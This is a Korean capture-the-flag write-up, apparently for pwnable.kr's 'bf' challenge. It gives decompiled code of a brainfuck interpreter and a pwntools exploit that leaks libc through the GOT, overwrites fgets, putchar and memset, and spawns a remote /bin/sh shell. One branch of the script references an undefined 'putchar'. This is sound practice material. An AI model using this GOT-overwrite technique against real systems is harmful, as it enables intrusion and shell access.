int __cdecl do_brainfuck(char a1)
{
int result; // eax
_BYTE *v2; // ebx
result = a1 - 43;
switch ( a1 )
{
case '+':
result = p;
++*(_BYTE *)p;
break;
case ',':
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case '-':
result = p;
--*(_BYTE *)p;
break;
case '.':
result = putchar(*(char *)p);
break;
case '<':
result = --p;
break;
case '>':
result = ++p;
break;
case '[':
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t i; // [esp+28h] [ebp-40Ch]
char s[1024]; // [esp+2Ch] [ebp-408h] BYREF
unsigned int v6; // [esp+42Ch] [ebp-8h]
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
p = (int)&tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(s, 0, sizeof(s));
fgets(s, 1024, stdin);
for ( i = 0; i < strlen(s); ++i )
do_brainfuck(s[i]);
return 0;
}
문제에서 리눅스용 32비트 실행파일과 libc파일을 줍니다. 실행파일을 IDA로 분석하면 위와 같이 main 함수와 do_brainfuck 함수로 나뉘게됩니다. 코드를 살펴보면 p와 tape는 전역변수이고 fgets로 s에 문자열을 입력받아서 하나씩 do_brainfuck 함수에 대입합니다. do_brainfuck 함수에서는 p라는 포인터를 기준으로 포인터 주소를 이동할 수 있고 값도 바꿀 수 있습니다. 보호기법은 아래와 같이 카나리와 NX가 적용되어있고 RELRO가 Partial이므로 Lazy binding을 이용할 수 있겠습니다.
첫번째로 해야할 일은 libc_base를 찾는 것 입니다. 다행히 '.'을 대입하면 현재 포인터 값을 putchar을 통해 출력할 수 있으므로 libc_base는 쉽게 얻을 수 있습니다. 두번째로 어디서 system(/bin/sh)를 실행할지 설계를 해야합니다. 다행히 memset 함수와 fgets 함수 첫번째 인자가 s이므로 memset을 gets 함수로 fgets를 system 함수로 덮어씌우고 s에 /bin/sh\x00를 입력하면 system(/bin/sh)를 실행할 수 있습니다. 그리고 마지막으로 main 함수를 재실행하면 덮어씌워진 값이 작동하여 쉘이 획득되도록 설계해야합니다.
익스플로잇 코드
from pwn import *
r = remote('pwnable.kr', 9001)
e = ELF('./bf')
libc = ELF('bf_libc.so')
context.log_level='debug'
tape = 0x0804a0a0 # 전역변수
fgets_got=e.got['fgets']
putchar_got=e.got['putchar']
memset_got=e.got['memset']
if tape > fgets_got:
payload = '<' * (tape - fgets_got) # fgets로 이동
else:
payload = '<' * (fgets_got - tape)
payload += ".>" * 4 # fgets_got 주소 출력
payload += "<" * 4 # fgets_got 시작주소로 이동
payload += ",>" * 4 # 원하는 주소 입력 -> system
payload += "<" * 4 # fgets_got 시작주소로 이동
if fgets_got > putchar:
payload += ">" * (putchar_got - fgets_got) # putchar로 이동
else:
payload += ">" * (fgets_got - putchar_got)
payload += ",>" * 4 # 원하는 주소 입력 -> main
payload += "<" * 4
payload += "<" * (putchar_got - memset_got) # memset로 이동
payload += ",>"*4 # 원하는 주소 입력 -> gets
payload += "." # main 함수 실행
r.recvuntil("[ ]\n")
r.sendline(payload)
leak=r.recv(1) # 데이터가 4바이트 단위로 오지않아서 적절하게 나눠서 받음
leak+=r.recv(3)
libc_base = u32(leak) - libc.sym['fgets'] # libc_base
gets_addr = libc_base + libc.sym['gets'] # gets 함수주소
system_addr = libc_base + libc.sym['system'] # system 함수주소
log.info("[+] libc : " + hex(libc_base)) # libcbase 검사
r.send(p32(system_addr)) # fgets -> system
r.send(p32(e.sym['main'])) # putchar -> main
r.send(p32(gets_addr)) # memset -> gets
r.sendline('/bin/sh\x00') # (system('/bin/sh'))
r.interactive()
recv 함수에서 데이터를 수신할 때 1, 3바이트로 분리되서 데이터가 날아와서 recv(1), recv(3)으로 따로 받아서 합쳤습니다. 보통 alsr 기법이 걸려있어도 앞의 2자리와 뒤 2자리는 고정이므로 참고하여 recv를 설계하면 되겠습니다. 처음에 날아오는 1바이트 '`'의 아스키코드 값을 확인하면 0x60으로 뒤 3바이트와 합하면 0xf7607160이 됩니다. gdb에서 bf_libc.so의 fgets 함수 오프셋을 보면 0x0005e150이고 구한 libcbase 0xf75a9010과 합하면 0xf7607160이 되므로 올바른 libcbase를 찾았음을 알 수 있습니다.
코드는 잘 동작하나 문제점이 있습니다. libcbase는 기본적으로 1000단위이기 때문에 보통 뒤에 000이 붙지만 위 그림에서는 0xf75a9010으로 뒤에 010이 붙어있습니다. 정확한 원인은 모르겠으나 아마 libc를 따로 제작하는 과정에서 이러한 문제가 발생했지 않았을까 추측해봅니다.
'시스템 해킹 > pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] ascii_easy (0) | 2021.08.23 |
---|---|
[Pwnable.kr] otp (0) | 2021.08.21 |
[Pwnable.kr] loveletter (0) | 2021.08.13 |
[Pwnable.kr] dragon (0) | 2021.08.13 |
[Pwnable.kr] echo1 (0) | 2021.08.08 |
댓글